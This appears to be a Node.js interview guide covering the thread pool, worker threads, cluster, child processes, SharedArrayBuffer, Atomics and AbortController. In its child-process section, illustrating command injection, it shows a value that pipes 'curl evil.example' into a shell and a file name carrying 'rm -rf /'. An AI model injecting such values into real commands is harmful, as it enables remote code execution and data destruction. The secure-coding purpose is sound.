Appearance
Threads and CPU-Heavy Work
18. What is the Node.js thread pool?
The short answer
The thread pool is a small set of background threads, four by default, that libuv keeps for work the operating system cannot do asynchronously, such as most file system calls, dns.lookup, compression and some crypto functions. When your code calls one of these, the job is placed in a queue, a free pool thread runs it, and the result comes back to the main thread as a callback. Your JavaScript never runs on these threads; only native work does.
The important consequence: the pool can be the bottleneck. If a login endpoint hashes passwords with crypto.pbkdf2, which takes about 100 ms on a pool thread, only four logins can be hashed at once. The fifth waits, even though the main thread is idle and the CPU has more cores. File reads and DNS lookups in the same process queue behind them too.
Network I/O does not use the pool. Sockets, including HTTP and database connections, are handled by the operating system's own asynchronous mechanism (question 8).
19. Which Node.js operations use the libuv thread pool?
The short answer
Most asynchronous file system calls in fs, dns.lookup, which is what http and most clients use to turn a host name into an address, asynchronous zlib compression, and CPU-heavy crypto functions such as pbkdf2, scrypt, randomBytes, randomFill and generateKeyPair. Native add-ons may also use it. Network sockets, timers, dns.resolve and your own JavaScript do not use the pool.
| Uses the thread pool | Does not |
|---|---|
fs.readFile, fs.writeFile, fs.stat, most of fs | TCP, UDP, HTTP sockets |
dns.lookup, used for host names by default | dns.resolve*, which uses c-ares asynchronously |
zlib.gzip, zlib.inflate and other async zlib calls | Timers |
crypto.pbkdf2, scrypt, randomBytes, randomFill, generateKeyPair | crypto.createHash and createCipheriv: synchronous, on the main thread |
Some native add-ons, such as bcrypt and sharp | Your JavaScript |
A real incident pattern: a service starts timing out on outgoing HTTP calls under load, but CPU is low. The cause: every outgoing request does a dns.lookup on the pool, and the pool is full of slow file operations or password hashes. Each request now waits for a pool thread just to resolve a host name. Fixes include a larger pool, caching DNS results, using dns.resolve, and moving password hashing to a dedicated service or worker.
Synchronous crypto runs on the main thread. createHash('sha256').update(bigBuffer).digest() blocks the event loop for the whole buffer. Hashing large files belongs in a stream or a worker.
20. How can the libuv thread pool size be changed?
The short answer
Set the UV_THREADPOOL_SIZE environment variable before Node.js starts, for example UV_THREADPOOL_SIZE=16 node server.js. The default is 4 and the maximum is 1024. The pool is created the first time it is used, so setting the variable inside your code only works if it happens before anything uses the pool, which is fragile; set it in the environment or start script. More threads help when the pool is the bottleneck, but cost memory and CPU contention.
bash
# shell or start script
UV_THREADPOOL_SIZE=16 node dist/server.js
# Dockerfile
ENV UV_THREADPOOL_SIZE=16
# Kubernetes container spec
env:
- name: UV_THREADPOOL_SIZE
value: "16"How to choose the size:
- Check whether the pool is actually the bottleneck: slow file, DNS or hashing calls while CPU and event loop delay are low.
- Match it to the work: for CPU-heavy pool work such as hashing, about the number of CPU cores helps; for slow disk or network file systems, more threads can help because they mostly wait.
- Measure after the change: latency of the affected operations, CPU and memory.
When a bigger pool is the wrong fix: heavy CPU work, such as image resizing, saturates the CPU whatever the pool size. Move it to worker threads, a job queue or a separate service (question 22).
21. What happens when a CPU-intensive task runs on the main JavaScript thread?
The short answer
Everything else in the process stops until it finishes. The event loop cannot run other callbacks, so incoming requests queue up, timers fire late, open connections get no responses, and health checks time out, which can make a load balancer or Kubernetes treat the instance as dead and restart it. A task that takes two seconds adds up to two seconds of latency to every request that arrives in that window, even ones that do almost nothing.
A real example:
ts
app.get('/reports/yearly', async (req, res) => {
const orders = await db.orders.findMany({ where: { year: 2026 } }) // fine: I/O
const report = buildYearlyReport(orders) // (1) 2.5 s of CPU
res.json(report)
})
app.get('/health', (req, res) => res.send('ok')) // (2)- 2.5 seconds of synchronous calculation, such as grouping and summing a million rows.
- The health check waits too. If the probe times out after one second, Kubernetes may restart the pod, killing every request in it.
How you notice it in production: event loop delay rises (question 10), latency of all endpoints rises together, not only the slow one, and CPU of one core sits at 100%. A CPU profile shows the guilty function (question 34).
22. How can CPU-intensive workloads be handled in Node.js?
The short answer
First, do less: push heavy aggregation into the database, cache results, and use efficient algorithms. If the work must stay, keep it off the main thread: run it in worker threads, ideally a fixed pool of them, or send it to a job queue processed by separate worker processes, or move it to a service written for the job. For medium work that must stay in the process, split it into chunks and yield to the event loop between them. Native modules can also help for hot spots such as image processing.
| Approach | When it fits | Example |
|---|---|---|
| Do it in the database | Aggregations over many rows | GROUP BY instead of summing in JavaScript |
| Cache | Same heavy result asked often | The yearly report, cached for an hour |
| Chunk and yield | Medium work, a few hundred ms | Process 10,000 rows, await setImmediate, continue (question 16) |
| Worker threads | CPU work needing the result in the request | Resizing an uploaded avatar (question 23) |
| Job queue and background workers | Work the user need not wait for | PDF invoices, exports, emails |
| Separate service | Large, specialised workloads | Video transcoding, machine learning |
A job queue, for invoice PDFs, using BullMQ on Redis:
ts
// in the API process
import { Queue } from 'bullmq'
const invoices = new Queue('invoices', { connection: redis })
app.post('/orders/:id/invoice', async (req, res) => {
await invoices.add('render', { orderId: req.params.id }, { attempts: 3, backoff: { type: 'exponential', delay: 2000 } })
res.status(202).json({ status: 'queued' }) // (1)
})
// in a separate worker process
import { Worker } from 'bullmq'
new Worker('invoices', async (job) => renderAndEmailInvoice(job.data.orderId), { connection: redis, concurrency: 2 }) // (2)- The API returns immediately with
202 Accepted. The heavy work happens elsewhere. - A separate process, scaled on its own, renders PDFs two at a time, with retries.
The interview point: the right answer depends on whether the caller needs the result now. If not, a queue is almost always better, because it also gives retries, rate control and survival across restarts.
23. What are Worker Threads, and when should they be used?
The short answer
Worker threads, from node:worker_threads, let one Node.js process run JavaScript on additional threads. Each worker has its own V8 instance, event loop and memory, and communicates with the main thread by passing messages, or by sharing memory through a SharedArrayBuffer. Use them for CPU-heavy JavaScript that must run inside your service, such as image processing, parsing large files or heavy calculations. Do not use them for I/O, which is already non-blocking, and reuse them in a pool rather than creating one per request.
ts
// resize-worker.ts
import { parentPort } from 'node:worker_threads'
import sharp from 'sharp'
parentPort!.on('message', async ({ id, image, width }: { id: number; image: Uint8Array; width: number }) => {
const resized = await sharp(image).resize(width).webp().toBuffer() // (1)
parentPort!.postMessage({ id, resized }, [resized.buffer]) // (2)
})ts
// api.ts
import { Worker } from 'node:worker_threads'
const worker = new Worker(new URL('./resize-worker.js', import.meta.url)) // (3)
let nextId = 0
const pending = new Map<number, (buf: Buffer) => void>()
worker.on('message', ({ id, resized }) => { pending.get(id)?.(resized); pending.delete(id) })
worker.on('error', (err) => logger.error({ err }, 'resize worker crashed')) // (4)
function resize(image: Buffer, width: number): Promise<Buffer> {
return new Promise((resolve) => {
const id = nextId++
pending.set(id, resolve)
worker.postMessage({ id, image, width }) // (5)
})
}
app.post('/avatar', async (req, res) => {
const thumb = await resize(req.body, 256) // main thread stays free
res.type('image/webp').send(thumb)
})- Heavy work runs on the worker's thread, not the main one.
- Transfer the result instead of copying it: listing the buffer in the second argument hands its memory over without a copy.
- One long-lived worker, created once at start-up. Starting a worker takes tens of milliseconds and some memory, so one per request is wasteful.
- Handle worker errors, or a crash goes unnoticed and requests hang.
- Send a job with an ID so replies can be matched to callers.
In production, use a pool, such as the piscina library, which keeps a set of workers sized to the CPU, queues jobs, and handles crashes and timeouts.
When not to use them: for database calls, HTTP calls or file reads; they are already off the main thread. A worker adds memory and message-copying cost with no benefit there.
24. What is the difference between Worker Threads, the Cluster module, and child processes?
The short answer
Worker threads are extra threads inside one process: they share the process's memory space, start fairly fast, and are for CPU-heavy JavaScript. The cluster module forks several copies of your whole server as separate processes that share one listening port, to use every CPU core for handling requests. Child processes start any separate program, including another Node.js script, with its own memory, useful for running command-line tools or isolating risky work. In containers, running one process per container and adding replicas often replaces the cluster module.
| Worker threads | Cluster | Child process | |
|---|---|---|---|
| Unit | Thread in the same process | Separate Node.js processes | Any separate program |
| Memory | Separate JS heaps; can share SharedArrayBuffer | Fully separate | Fully separate |
| Communication | postMessage, shared memory | IPC messages | stdin/stdout, IPC with fork |
| Start-up cost | Low to medium | High: a full app each | Depends on the program |
| Crash isolation | A crash can take down the process | One worker dies, others serve | Fully isolated |
| Use for | CPU-heavy JavaScript | Using all cores for HTTP | Shell tools, other languages, isolation |
In modern deployments, Kubernetes or another orchestrator usually runs one Node.js process per container and scales by adding containers, which gives the same benefit as the cluster module, plus health checks and rolling restarts (question 25).
25. What is the Cluster module, and how does it help scale Node.js applications?
The short answer
The cluster module lets one Node.js program start several copies of itself, worker processes, that all listen on the same port. A primary process forks the workers, usually one per CPU core, and spreads incoming connections between them, round-robin on most platforms. Because each worker is a full Node.js process with its own event loop, the application uses every core instead of one, and if a worker crashes, the primary can start a new one. Workers share no memory, so sessions and caches must live elsewhere, such as Redis.
ts
import cluster from 'node:cluster'
import { availableParallelism } from 'node:os'
if (cluster.isPrimary) {
const count = availableParallelism() // (1)
for (let i = 0; i < count; i++) cluster.fork()
cluster.on('exit', (worker, code, signal) => { // (2)
console.warn(`worker ${worker.process.pid} died (${signal ?? code}), starting a new one`)
cluster.fork()
})
} else {
const { startServer } = await import('./server.js')
startServer(3000) // (3)
}- One worker per available core.
- Restart dead workers, so one crash does not reduce capacity for long.
- Each worker starts the same server on the same port. The primary owns the listening socket and passes connections to workers.
What breaks when you cluster:
| Assumption | Why it fails | Fix |
|---|---|---|
| Sessions in memory | The next request may hit another worker | Store sessions in Redis or use tokens |
| An in-memory cache | Each worker has its own copy | Shared cache, or accept per-process caching |
| A rate limiter counting in memory | Each worker counts separately | Count in Redis |
One setInterval job | Runs once per worker | Run scheduled jobs in one place |
Cluster, PM2 or containers? PM2 is a process manager that does clustering, restarts and logs for you on a plain server. In Kubernetes or another container platform, the usual practice is one process per container, several replicas, and the platform does restarts and load balancing.
26. What are child processes, and how can a Node.js process create them?
The short answer
A child process is a separate operating system process started by your Node.js program, with its own memory. The node:child_process module offers spawn, which streams the child's output and suits long-running commands, exec, which runs a command in a shell and buffers its output, execFile, which runs a program directly without a shell, and fork, which starts another Node.js script with a built-in message channel. Never pass user input into exec, because the shell can be tricked into running extra commands.
ts
import { spawn, execFile } from 'node:child_process'
import { promisify } from 'node:util'
const execFileAsync = promisify(execFile)
// Stream a long-running tool's output: convert an uploaded video
function transcode(input: string, output: string): Promise<void> {
return new Promise((resolve, reject) => {
const ff = spawn('ffmpeg', ['-i', input, '-vf', 'scale=1280:-2', output]) // (1)
ff.stderr.on('data', (chunk) => logger.debug(chunk.toString()))
ff.on('error', reject) // (2)
ff.on('close', (code) => (code === 0 ? resolve() : reject(new Error(`ffmpeg exited ${code}`))))
})
}
// Run a short command and get its output
const { stdout } = await execFileAsync('git', ['rev-parse', '--short', 'HEAD']) // (3)- Arguments as an array: each is passed to the program as is, with no shell, so a file name like
"; rm -rf /"is just a strange file name. 'error'fires if the program cannot start, such as when it is not installed.execFilebuffers the output, fine for small results.
| Function | Shell | Output | Use for |
|---|---|---|---|
spawn | No, by default | Streams | Long-running tools, large output |
execFile | No | Buffered | Short commands |
exec | Yes | Buffered | Trusted, fixed command strings only |
fork | No | IPC messages | Another Node.js script |
The injection risk with exec:
ts
exec(`convert ${req.query.file} out.png`) // ?file=x.png;curl evil.example|sh runs the attacker's script27. What is SharedArrayBuffer, and when would you use it?
The short answer
A SharedArrayBuffer is a block of raw memory that several threads, such as the main thread and worker threads, can read and write at the same time, without copying. Normal messages between threads are copied, which is slow for large data. Shared memory is fast but introduces race conditions, so you coordinate with Atomics. It is used in performance-critical code such as audio and video processing, parallel numeric computation, and in low-level libraries. In browsers, it requires the page to be cross-origin isolated.
ts
import { Worker } from 'node:worker_threads'
const shared = new SharedArrayBuffer(4 * 1_000_000) // (1) one million 32-bit numbers
const prices = new Float32Array(shared)
// ... fill prices ...
const worker = new Worker(new URL('./stats-worker.js', import.meta.url), {
workerData: { shared }, // (2) shared, not copied
})- Allocate memory once, 4 MB here.
- Passing it to a worker gives the worker a view of the same memory. Changes made by either side are visible to the other.
| Message passing | SharedArrayBuffer | |
|---|---|---|
| Data movement | Copied, or transferred and lost by the sender | Shared by both |
| Safety | No races | Races unless you use Atomics |
| Good for | Most work | Large data read or written by many threads |
In browsers, the page must send the Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp headers to use it, a protection added after the Spectre processor attacks.
28. What are Atomics in JavaScript?
The short answer
Atomics is a built-in object with operations on shared memory that happen as one indivisible step, so no other thread can see a half-finished update or interleave with it. Atomics.add(view, index, 1) increments safely even when several workers do it at the same moment, which a plain view[index]++ does not guarantee. Atomics.wait and Atomics.notify let one thread sleep until another signals it, which is how locks and queues are built on top of shared memory.
The race without Atomics:
ts
// in each of four workers, sharing `counter`
counter[0]++ // read, add one, write back: two workers can read the same valueIf two workers both read 41, both write 42, and one increment is lost.
With Atomics:
ts
const counter = new Int32Array(new SharedArrayBuffer(4))
Atomics.add(counter, 0, 1) // (1) safe increment
const value = Atomics.load(counter, 0) // (2) safe read
// a simple "wait until ready" signal
Atomics.wait(counter, 0, 0) // (3) sleep while the value is 0
Atomics.store(counter, 0, 1); Atomics.notify(counter, 0) // (4) another thread wakes it- One indivisible step: read, add and write together.
- A read that sees the latest value written by any thread.
- Block this thread until the value changes. Not allowed on the browser's main thread, because it would freeze the page.
- Change it and wake waiting threads.
Most application developers never need Atomics directly. They matter for writing worker pools, lock-free queues and libraries; application code is usually better served by message passing.
29. What is AbortController, and how can it cancel asynchronous operations?
The short answer
AbortController is the standard way to cancel asynchronous work. You create a controller, pass its signal to an operation, and call controller.abort() to cancel it; the operation stops and its promise rejects with an AbortError. In Node.js, fetch, fs.readFile, timers from timers/promises, events.once, streams, child processes and many libraries accept a signal. AbortSignal.timeout(ms) gives a signal that aborts by itself, and AbortSignal.any([...]) combines several.
ts
app.get('/search', async (req, res) => {
const controller = new AbortController()
req.on('close', () => controller.abort()) // (1)
const signal = AbortSignal.any([controller.signal, AbortSignal.timeout(3000)]) // (2)
try {
const [products, suggestions] = await Promise.all([
fetch(`${CATALOG}/search?q=${encodeURIComponent(String(req.query.q))}`, { signal }), // (3)
fetch(`${SUGGEST}/suggest?q=${encodeURIComponent(String(req.query.q))}`, { signal }),
])
res.json({ products: await products.json(), suggestions: await suggestions.json() })
} catch (err) {
if ((err as Error).name === 'AbortError' || (err as Error).name === 'TimeoutError') { // (4)
if (!res.headersSent && !req.destroyed) res.status(504).json({ error: 'search timed out' })
return
}
throw err
}
})- If the user closes the page, the request's connection closes, and we abort the work for it.
- Combine signals: abort when the client leaves, or after 3 seconds, whichever comes first.
fetchstops the network request when the signal fires, freeing the connection.- Cancellation is not a failure to log loudly. A timeout gets a clear
504.
Making your own function cancellable:
ts
async function exportOrders(signal: AbortSignal) {
for (const batch of batches) {
signal.throwIfAborted() // stop between batches
await writeBatch(batch)
}
}Why cancellation matters on servers: work for clients that have gone, or calls that have already timed out, still consumes connections, CPU and money. Cancelling frees them for requests that are still waiting.